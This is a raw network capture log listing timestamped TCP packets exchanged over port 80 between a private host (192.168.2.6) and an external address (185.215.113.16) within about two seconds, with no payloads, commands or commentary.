Nov 1, 2024 00:38:16.945527077 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.976934910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.976954937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.976963997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.976977110 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.976989031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.976999998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.977061033 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.977078915 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.985218048 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.985229015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.985357046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.985368013 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.985379934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.985395908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.985414982 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.985436916 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.986190081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.986202002 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.986248016 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:16.986423969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.986433983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:16.986475945 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.048141956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.048162937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.048172951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.048229933 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.095813036 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.095834017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.095845938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.095901966 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.096071005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.096081018 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.096116066 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.096328020 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.096362114 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.096386909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.096398115 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.096430063 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.096925020 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.096935034 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.096980095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.104334116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.104403019 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.104413033 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.104444027 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.104603052 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.104628086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.104639053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.104645014 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.104680061 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.105206966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.105217934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.105228901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.105247021 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.151761055 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.167120934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.167196989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.167217016 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.167287111 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.214215994 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.214786053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.214797974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.214855909 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.214868069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.214886904 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.214924097 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.215163946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.215182066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.215217113 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.215415001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.215466976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.215477943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.215504885 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.215981007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.215998888 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.216020107 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.223418951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.223432064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.223448038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.223468065 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.223494053 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.223699093 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.223711014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.223721981 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.223762035 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.224256992 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.224268913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.224282026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.224292994 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.224297047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.224322081 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.276721954 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.286237955 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.286251068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.286309004 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.286360979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.286371946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.286418915 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.333931923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.333960056 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.333971977 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.334006071 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.334211111 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.334230900 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.334244967 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.334275961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.334289074 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.334745884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.334759951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.334769964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.334813118 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.342407942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.342432022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.342442989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.342480898 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.342520952 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.342700958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.342714071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.342725039 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.342770100 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.343251944 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.343264103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.343281031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.343297005 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.343319893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.343342066 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.386097908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.405615091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.405633926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.405647039 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.405684948 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.448609114 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.452946901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.452959061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.452995062 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.453032970 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.453094006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.453105927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.453116894 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.453136921 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.453150988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.453831911 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.453876019 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.453887939 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.453912973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.461509943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.461519957 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.461565018 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.461601019 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.461641073 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.461654902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.461870909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.461910009 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.461914062 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.461925983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.461961031 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.462462902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.462475061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.462486029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.462496996 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.462522030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.462551117 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.463324070 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.511115074 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.524650097 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.524672031 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.524688005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.524754047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.571958065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572007895 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572020054 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572140932 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.572240114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572252989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572266102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572293043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.572743893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572781086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572791100 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.572793961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.572849035 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.580578089 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.580660105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.580705881 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.580709934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.580806971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.580852985 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.580858946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.580893993 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.580941916 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.581391096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.581403017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.581414938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.581429005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.581444979 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.581485987 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.582242012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.582261086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.582318068 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.643671036 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.643693924 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.643726110 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.643765926 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.691268921 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.691306114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.691323042 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.691339970 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.691363096 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.691468954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.691538095 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.691550016 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.691576004 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.691845894 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.691890955 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.692414045 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.699558020 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.699575901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.699585915 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.699611902 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.699642897 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.699855089 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.699878931 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.699888945 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.699927092 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.700445890 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.700458050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.700469971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.700489998 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.700520039 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.701097965 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.701170921 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.701209068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.701210976 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.745500088 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.746465921 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.746480942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.746490955 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.746531963 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.762758970 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.762773991 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.762785912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.762833118 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.762867928 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.810183048 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.810228109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.810240030 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.810281992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.810512066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.810559988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.810580015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.810596943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.810610056 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.810632944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.811280966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.811291933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.811335087 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.818744898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.818783998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.818794012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.818803072 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.818831921 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.819019079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.819031000 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.819067001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.819072962 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.819080114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.819123030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.819926023 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.819993019 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.820003986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.820014954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.820031881 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.820045948 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.865550995 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.865571976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.865582943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.865638971 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.882356882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.882368088 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.882416964 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.882427931 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.882437944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.882486105 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.943564892 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.943592072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.943604946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.943618059 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.943645954 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.943675041 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.944037914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.944058895 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.944101095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.944114923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.944128990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.944160938 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.945131063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945162058 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945178032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945198059 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945204973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.945241928 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.945869923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945893049 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945909977 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945925951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.945935965 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.945964098 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.946738958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.946755886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.946772099 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.946794033 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.984518051 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.984534979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.984550953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:17.984565973 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:17.984596014 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.001200914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.001298904 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.001351118 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.242192984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242223978 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242238998 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242283106 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242299080 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242310047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.242321014 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242352009 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.242364883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.242378950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242396116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242419004 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242432117 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.242443085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242469072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242482901 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.242484093 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242500067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.242518902 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.242527962 CET	80	49735	185.215.113.16	192.168.2.6
